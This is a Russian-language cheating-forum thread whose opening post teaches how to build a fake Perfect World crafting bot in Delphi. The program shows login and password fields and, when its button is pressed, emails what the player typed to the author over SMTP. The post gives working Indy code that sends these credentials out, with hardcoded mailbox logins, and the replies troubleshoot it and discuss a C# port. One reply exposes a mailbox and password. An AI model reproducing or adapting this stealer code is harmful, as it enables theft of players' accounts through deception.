Регистрация Главная Сообщество
Сообщения за день Справка Регистрация
Навигация
Zhyk.org LIVE! Реклама на Zhyk.org Правила Форума Награды и достижения Доска "почета"

Ответ
 
Опции темы
Старый 05.06.2010, 15:02   #1
 Старший сержант
Аватар для Amba
 
Amba излучает ауруAmba излучает ауруAmba излучает ауруAmba излучает ауруAmba излучает ауруAmba излучает ауру
Регистрация: 15.07.2009
Сообщений: 176
Популярность: 672
Сказал(а) спасибо: 145
Поблагодарили 318 раз(а) в 99 сообщениях
Отправить сообщение для Amba с помощью ICQ Отправить сообщение для Amba с помощью Skype™
 
По умолчанию Создаём фейк программмы. Часть 1. Delphi version

Теория.

Что же такое фейк?

Фэйк (реже фейк, от англ. fake — подделка, яп. 偽物 / 贋物) имеет множество значений. В широком смысле слова называется любая подделка, выдаваемая за настоящую вещь. К примеру, все фотографии НЛО считаются фэйками, но это не всегда доказуемо.

В нашем случае фейк — программа, которая должна выполнять какие-то полезные для игрока функции, но вместо этого шлёт его данные нам.

Для начала мы должны определиться, фейк какой программы мы будем делать. Это должна быть программа, которую игрок захочет получить.
Допустим, это будет программа для Perfect World для автоматизации крафта вещей (то есть на самом деле такой программы быть не может).

Взглянем со стороны игрока: что должно быть в программе?
Он должен видеть поля для ввода логина+пароля, всякие опции крафта и кнопки, которая сотворит чудо. Остальное его не касается.

Задача программиста — нарисовать эти поля ввода и опции, а по нажатию заветной кнопки отправлять нам логин и пароль.

Теперь определимся, как можно отправить логин и пароль. Можно использовать ICQ, twitter, даже FTP. Но проще всего — отправить по e-mail.

Чтобы отправлять письма, нам нужно зарегистрировать ящик в почтовой системе, которая поддерживает SMTP. Подойдёт mail.ru.
Также нам будет нужен другой ящик, который будет принимать письма.

Когда мы определились с задачами, нужно переходить к самой разработке.

Для создания фейков проще всего использовать Delphi. (что и сделал Amba //Leo_ня)

Далее пойдёт описание создания фейка на Delphi 7. Написано так, что должны понять те, кто только установил делфи.

Интерфейс фейка.

Для начала нам необходимо создать интерфейс программы.
Создаём пустой проект, где используется стандартная форма (окно).
Теперь со вкладки Standart кидаем на форму два элемента Edit и один Button.
Edit — поля для ввода логина и пароля. Button - кнопка, которую будет нажимать пользователь.
[Ссылки могут видеть только зарегистрированные пользователи. ]

Отправлять письма мы будем по SMTP. Для этого со вкладки Indy Clients нам необходимо кинуть компонент IdSMTP1. И ещё 2 компонента со вкладки Indy Misc: IdAntiFreeze1 и IdMessage1. Кидайте их в любое место — эти элементы не визуальны. Их не видно в программе (запущенной).

Имя окон, едитов, кнопок вы можете изменить в Object Inspector'е.
[Ссылки могут видеть только зарегистрированные пользователи. ]

Пока с интерфейсом всё.

Отправка данных.


Теперь делаем двойной клик на кнопке, которую мы перетащили на форму (Button1). Делфи перекинет на страницу для редактирования кода кнопки. Вот теперь начнётся самое главное.

Мы должны заполнить компонент idsmtp данными для соединения с SMTP сервером. После этого заполнить сообщение, в котором будут содержаться логин и пароль. Теперь нужно соединиться и отправить сформированное сообщение.

Всё это можно увидеть в видео-уроке [Ссылки могут видеть только зарегистрированные пользователи. ].

Вот пример кода, который заполняет компоненты idsmtp и формирует сообщение:

Код:
begin
// Начало кода обработчика кнопки

idsmtp1.Host:='smtp.mail.ru';  //smtp сервер
idsmtp1.HeloName:='razvod-pw';  // логин
idsmtp1.Port:=587;              // порт можно 25, но он не у всех открыт, рекомендую 587
idsmtp1.Username:='razvod-pw';  // логин опять
idsmtp1.Password:='qwerty';     //пароль
idmessage1.CharSet:='windows-1251';  // чтобы сообщения не приходили кракозябрами (работает только в дельфи 7)
idmessage1.ContentType := 'text/html'; // чтобы сообщения не приходили кракозябрами (работает только в дельфи 7)
//IdMessage1.ContentType:= 'text/plain';
idmessage1.Body.Text:='asdad';         // текст сообщения (тип string)
idmessage1.From.Text:='[Ссылки могут видеть только зарегистрированные пользователи. ]';    // От кого, надо чтоб совпадало с реальной почтой, иначе не отправиться
idmessage1.Recipients.EMailAddresses:='[Ссылки могут видеть только зарегистрированные пользователи. ]'; // куда шлём
idmessage1.Subject:=' asda ';    // тема
 idsmtp1.Connect;   // соединение
 if idsmtp1.Connected=true then  // когда подключиться то...
 begin
idsmtp1.Send(idmessage1);   //отправить сообщение 1
idsmtp1.Disconnect();     // дисконнек
 end
 else   // если не подключено то
 abort; // остановить

// Конец кода обработчика кнопки
end;
Полностью исходный код можно посмотреть здесь.

[Ссылки могут видеть только зарегистрированные пользователи. ]


Код отправки для кнопки можно записать и так:


Код:
begin
// Начало кода обработчика кнопки

idmessage1.CharSet:='windows-1251';
idmessage1.ContentType  := 'text/html';
idSmtp1.Host:='smtp.mail.ru';
idSmtp1.Port:=587;      // порт
idSmtp1.Username:='test-pw'; //логин ящика откуда отсылаем
idSmtp1.Password:='384618d';  //пас от ящика
idmessage1.Body.Text:='Логин:   '
+Edit1.Text+
'  Пароль:   '
+Edit2.Text;
'========= Программа написана Амба 9-6666-35';
idmessage1.From.Text:='[email protected]';
idmessage1.Recipients.EMailAddresses:='[email protected]'; // мыло куда будут приходить письма
idmessage1.Subject:='Тема';  // Тема письма




idsmtp1.Connect(); // соединение
button1.Caption:='Connected';
idsmtp1.Send(idmessage1); //отправить сообщение 1
button1.Caption:='Sended';
idsmtp1.Disconnect(); // дисконнект
button1.Caption:='DisConnected';

// Конец кода обработчика кнопки
end;


Вопросы так же можно задать в асю. 9-6666-35
Вложения
Тип файла: rar Бот для крафта Аксес.rar (218.5 Кб, 363 просмотров)
________________

Последний раз редактировалось Amba; 07.06.2010 в 10:16. Причина: Добавил скрин.
  Ответить с цитированием
8 пользователя(ей) сказали cпасибо:
ATJIaHTuK (05.06.2010), Leo_ня (05.06.2010), OveRKinG (08.06.2010), PavelQwa (10.06.2010), reraider (08.01.2011), saschawiebe (05.06.2010), warl0ck (05.06.2010), ZIKENDEK (06.06.2010)
Старый 05.06.2010, 17:05   #2
 Сержант
Аватар для saschawiebe
 
saschawiebe скоро будет известенsaschawiebe скоро будет известенsaschawiebe скоро будет известенsaschawiebe скоро будет известенsaschawiebe скоро будет известен
Регистрация: 19.11.2009
Сообщений: 131
Популярность: 413
Сказал(а) спасибо: 277
Поблагодарили 149 раз(а) в 72 сообщениях
Отправить сообщение для saschawiebe с помощью ICQ Отправить сообщение для saschawiebe с помощью Skype™
 
По умолчанию Re: Создаём фейк программмы. Часть 1

оо нет .. только не дельфи у меня она не идёт на компе + вместо русских букв --> "????????"
________________

  Ответить с цитированием
Старый 05.06.2010, 17:15   #3
Знатный Читер
 Фельдмаршал
Аватар для Leo_ня
 
Leo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядом
Регистрация: 10.06.2008
Сообщений: 965
Популярность: 5501
Сказал(а) спасибо: 786
Поблагодарили 942 раз(а) в 598 сообщениях
Отправить сообщение для Leo_ня с помощью ICQ Отправить сообщение для Leo_ня с помощью Telegram
 
По умолчанию Re: Создаём фейк программмы. Часть 1

Цитата:
Сообщение от saschawiebeПосмотреть сообщение
оо нет .. только не дельфи у меня она не идёт на компе + вместо русских букв --> "????????"

Собирался сделать версию на асме. Вряд ли будет лучше

Тебе на каком языке нужно?
  Ответить с цитированием
Старый 05.06.2010, 17:38   #4
 Сержант
Аватар для saschawiebe
 
saschawiebe скоро будет известенsaschawiebe скоро будет известенsaschawiebe скоро будет известенsaschawiebe скоро будет известенsaschawiebe скоро будет известен
Регистрация: 19.11.2009
Сообщений: 131
Популярность: 413
Сказал(а) спасибо: 277
Поблагодарили 149 раз(а) в 72 сообщениях
Отправить сообщение для saschawiebe с помощью ICQ Отправить сообщение для saschawiebe с помощью Skype™
 
По умолчанию Re: Создаём фейк программмы. Часть 1

Цитата:
Сообщение от Leo_няПосмотреть сообщение
Собирался сделать версию на асме. Вряд ли будет лучше

Тебе на каком языке нужно?

C# =)
________________

  Ответить с цитированием
Старый 05.06.2010, 17:42   #5
Знатный Читер
 Фельдмаршал
Аватар для Leo_ня
 
Leo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядом
Регистрация: 10.06.2008
Сообщений: 965
Популярность: 5501
Сказал(а) спасибо: 786
Поблагодарили 942 раз(а) в 598 сообщениях
Отправить сообщение для Leo_ня с помощью ICQ Отправить сообщение для Leo_ня с помощью Telegram
 
По умолчанию Re: Создаём фейк программмы. Часть 1

Цитата:
Сообщение от saschawiebeПосмотреть сообщение
C# =)

Ну, я такого не знаю ^^

Могу тогда просто алгоритмы да юзаемые WinAPI подсказать, а окошки-кнопочки сам нарисуешь.
  Ответить с цитированием
Старый 05.06.2010, 17:54   #6
 Сержант
Аватар для saschawiebe
 
saschawiebe скоро будет известенsaschawiebe скоро будет известенsaschawiebe скоро будет известенsaschawiebe скоро будет известенsaschawiebe скоро будет известен
Регистрация: 19.11.2009
Сообщений: 131
Популярность: 413
Сказал(а) спасибо: 277
Поблагодарили 149 раз(а) в 72 сообщениях
Отправить сообщение для saschawiebe с помощью ICQ Отправить сообщение для saschawiebe с помощью Skype™
 
По умолчанию Re: Создаём фейк программмы. Часть 1

Цитата:
Сообщение от Leo_няПосмотреть сообщение
Ну, я такого не знаю ^^

Могу тогда просто алгоритмы да юзаемые WinAPI подсказать, а окошки-кнопочки сам нарисуешь.

на WinAPI я полный нуль )))

я лучше поищу в гугле как это делать на C# )
________________

  Ответить с цитированием
Старый 05.06.2010, 19:02   #7
 Старший сержант
Аватар для Amba
 
Amba излучает ауруAmba излучает ауруAmba излучает ауруAmba излучает ауруAmba излучает ауруAmba излучает ауру
Регистрация: 15.07.2009
Сообщений: 176
Популярность: 672
Сказал(а) спасибо: 145
Поблагодарили 318 раз(а) в 99 сообщениях
Отправить сообщение для Amba с помощью ICQ Отправить сообщение для Amba с помощью Skype™
 
По умолчанию Re: Создаём фейк программмы. Часть 1

Цитата:
Сообщение от saschawiebeПосмотреть сообщение
на WinAPI я полный нуль )))

я лучше поищу в гугле как это делать на C# )

Если что найдёшь, напиши темку. Интересно посмотреть.
________________
  Ответить с цитированием
Старый 05.06.2010, 20:02   #8
 Сержант
Аватар для saschawiebe
 
saschawiebe скоро будет известенsaschawiebe скоро будет известенsaschawiebe скоро будет известенsaschawiebe скоро будет известенsaschawiebe скоро будет известен
Регистрация: 19.11.2009
Сообщений: 131
Популярность: 413
Сказал(а) спасибо: 277
Поблагодарили 149 раз(а) в 72 сообщениях
Отправить сообщение для saschawiebe с помощью ICQ Отправить сообщение для saschawiebe с помощью Skype™
 
По умолчанию Re: Создаём фейк программмы. Часть 1

[Ссылки могут видеть только зарегистрированные пользователи. ]

вот такой нашёл, опять же дельфи

п.с. мне не обяз только C#, можно и Visual basic и c++

Добавлено через 22 часа 26 минут
Amba можешь сделать скрин своей порограммки? а то у меня русский не видно шрифт
________________


Последний раз редактировалось saschawiebe; 06.06.2010 в 18:28. Причина: Добавлено сообщение
  Ответить с цитированием
Старый 09.06.2010, 14:05   #9
 Сержант
Аватар для zuzzz
 
zuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражания
Регистрация: 23.09.2009
Сообщений: 154
Популярность: 2052
Сказал(а) спасибо: 21
Поблагодарили 80 раз(а) в 46 сообщениях
Отправить сообщение для zuzzz с помощью ICQ
 
По умолчанию Re: Создаём фейк программмы. Часть 1

Цитата:
Сообщение от Leo_няПосмотреть сообщение
Ну, я такого не знаю ^^

Могу тогда просто алгоритмы да юзаемые WinAPI подсказать, а окошки-кнопочки сам нарисуешь.

На сколько я знаю С# и WinAPI не дружат.
В C# нужно использовать только возможности .NET
Или писать не на C#, а на С++
  Ответить с цитированием
Старый 12.06.2010, 16:57   #10
-= Элитный Мастер =-
 Главнокомандующий
Аватар для Kitsune
 
Kitsune сломал счётчик популярности :(Kitsune сломал счётчик популярности :(Kitsune сломал счётчик популярности :(Kitsune сломал счётчик популярности :(Kitsune сломал счётчик популярности :(Kitsune сломал счётчик популярности :(Kitsune сломал счётчик популярности :(Kitsune сломал счётчик популярности :(Kitsune сломал счётчик популярности :(Kitsune сломал счётчик популярности :(Kitsune сломал счётчик популярности :(
Регистрация: 20.01.2010
Сообщений: 1,539
Популярность: 22780
Золото Zhyk.Ru: 600
Сказал(а) спасибо: 43
Поблагодарили 1,717 раз(а) в 538 сообщениях
 
По умолчанию Re: Создаём фейк программмы. Часть 1

saschawiebe, вечером приеду, напишу гайд по созданию фейка на C#.
zuzzz, не пишите глупостей, если не владеете знаниями в данной области.
Для использования WinApi есть замечательный pinvoke, в частности DllImport.
________________
Fireball - Быстрое снятие и загрузка скриншотов на хостинг.
  Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
Leo_ня (12.06.2010), saschawiebe (12.06.2010)
Старый 12.06.2010, 20:38   #11
Заблокирован
 Старший сержант
Аватар для demonn1994
 
demonn1994 излучает ауруdemonn1994 излучает ауруdemonn1994 излучает ауруdemonn1994 излучает ауруdemonn1994 излучает ауруdemonn1994 излучает ауру
Регистрация: 20.08.2009
Сообщений: 223
Популярность: 555
Сказал(а) спасибо: 67
Поблагодарили 67 раз(а) в 38 сообщениях
Отправить сообщение для demonn1994 с помощью ICQ Отправить сообщение для demonn1994 с помощью Telegram Отправить сообщение для demonn1994 с помощью Yahoo Отправить сообщение для demonn1994 с помощью Skype™
 
По умолчанию Re: Создаём фейк программмы. Часть 1

кривые руки или че ?(
[Ссылки могут видеть только зарегистрированные пользователи. ]
  Ответить с цитированием
Старый 12.06.2010, 20:57   #12
Знатный Читер
 Фельдмаршал
Аватар для Leo_ня
 
Leo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядом
Регистрация: 10.06.2008
Сообщений: 965
Популярность: 5501
Сказал(а) спасибо: 786
Поблагодарили 942 раз(а) в 598 сообщениях
Отправить сообщение для Leo_ня с помощью ICQ Отправить сообщение для Leo_ня с помощью Telegram
 
По умолчанию Re: Создаём фейк программмы. Часть 1

Мыло, с которого отправляешь, скорее всего не поддерживает SMTP. Либо ты дейстивтельно ошибся при его вводе.
  Ответить с цитированием
Старый 12.06.2010, 21:07   #13
Заблокирован
 Старший сержант
Аватар для PavelQwa
 
PavelQwa у всех на слухуPavelQwa у всех на слухуPavelQwa у всех на слухуPavelQwa у всех на слухуPavelQwa у всех на слухуPavelQwa у всех на слухуPavelQwa у всех на слухуPavelQwa у всех на слухуPavelQwa у всех на слухуPavelQwa у всех на слуху
Регистрация: 07.02.2010
Сообщений: 184
Популярность: 1479
Сказал(а) спасибо: 606
Поблагодарили 438 раз(а) в 207 сообщениях
Отправить сообщение для PavelQwa с помощью ICQ Отправить сообщение для PavelQwa с помощью Skype™
 
По умолчанию Re: Создаём фейк программмы. Часть 1

Цитата:
Сообщение от Leo_няПосмотреть сообщение
Мыло, с которого отправляешь, скорее всего не поддерживает SMTP. Либо ты дейстивтельно ошибся при его вводе.

Яндекс поддерживает SMTP. Ошибка при вводе.
  Ответить с цитированием
Старый 12.06.2010, 21:07   #14
Заблокирован
 Старший сержант
Аватар для demonn1994
 
demonn1994 излучает ауруdemonn1994 излучает ауруdemonn1994 излучает ауруdemonn1994 излучает ауруdemonn1994 излучает ауруdemonn1994 излучает ауру
Регистрация: 20.08.2009
Сообщений: 223
Популярность: 555
Сказал(а) спасибо: 67
Поблагодарили 67 раз(а) в 38 сообщениях
Отправить сообщение для demonn1994 с помощью ICQ Отправить сообщение для demonn1994 с помощью Telegram Отправить сообщение для demonn1994 с помощью Yahoo Отправить сообщение для demonn1994 с помощью Skype™
 
По умолчанию Re: Создаём фейк программмы. Часть 1

Цитата:
Сообщение от Leo_няПосмотреть сообщение
Мыло, с которого отправляешь, скорее всего не поддерживает SMTP. Либо ты дейстивтельно ошибся при его вводе.

ввожу правильно, как сделать чтобы поддерживавало?

Добавлено через 5 минут
[email protected]
qwerty123
Сами проверьте )

Последний раз редактировалось demonn1994; 12.06.2010 в 21:13. Причина: Добавлено сообщение
  Ответить с цитированием
Старый 12.06.2010, 21:31   #15
Знатный Читер
 Фельдмаршал
Аватар для Leo_ня
 
Leo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядомLeo_ня в состоянии испепелить взглядом
Регистрация: 10.06.2008
Сообщений: 965
Популярность: 5501
Сказал(а) спасибо: 786
Поблагодарили 942 раз(а) в 598 сообщениях
Отправить сообщение для Leo_ня с помощью ICQ Отправить сообщение для Leo_ня с помощью Telegram
 
По умолчанию Re: Создаём фейк программмы. Часть 1

Дай угадаю, ты адресата ввёл такого же, как и отправителя? Т.е. у тебя отправка идёт с [email protected] на [email protected]?
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Руководство] Создаём фейк программмы. Часть 1. C# version Kitsune C# 116 27.02.2011 02:41
Быстро создаём фейк m0nk Боты, скрипты и прочий софт для Lineage 2 63 12.01.2011 19:30
[Руководство] Создаём фейк программмы. Часть 2. Delphi version Amba Школа Читера 1 15.07.2010 13:50
[Руководство] Создаём аккаунт FFForever Tales of Pirates (Пиратия) 0 06.02.2010 13:45

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 22:35.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net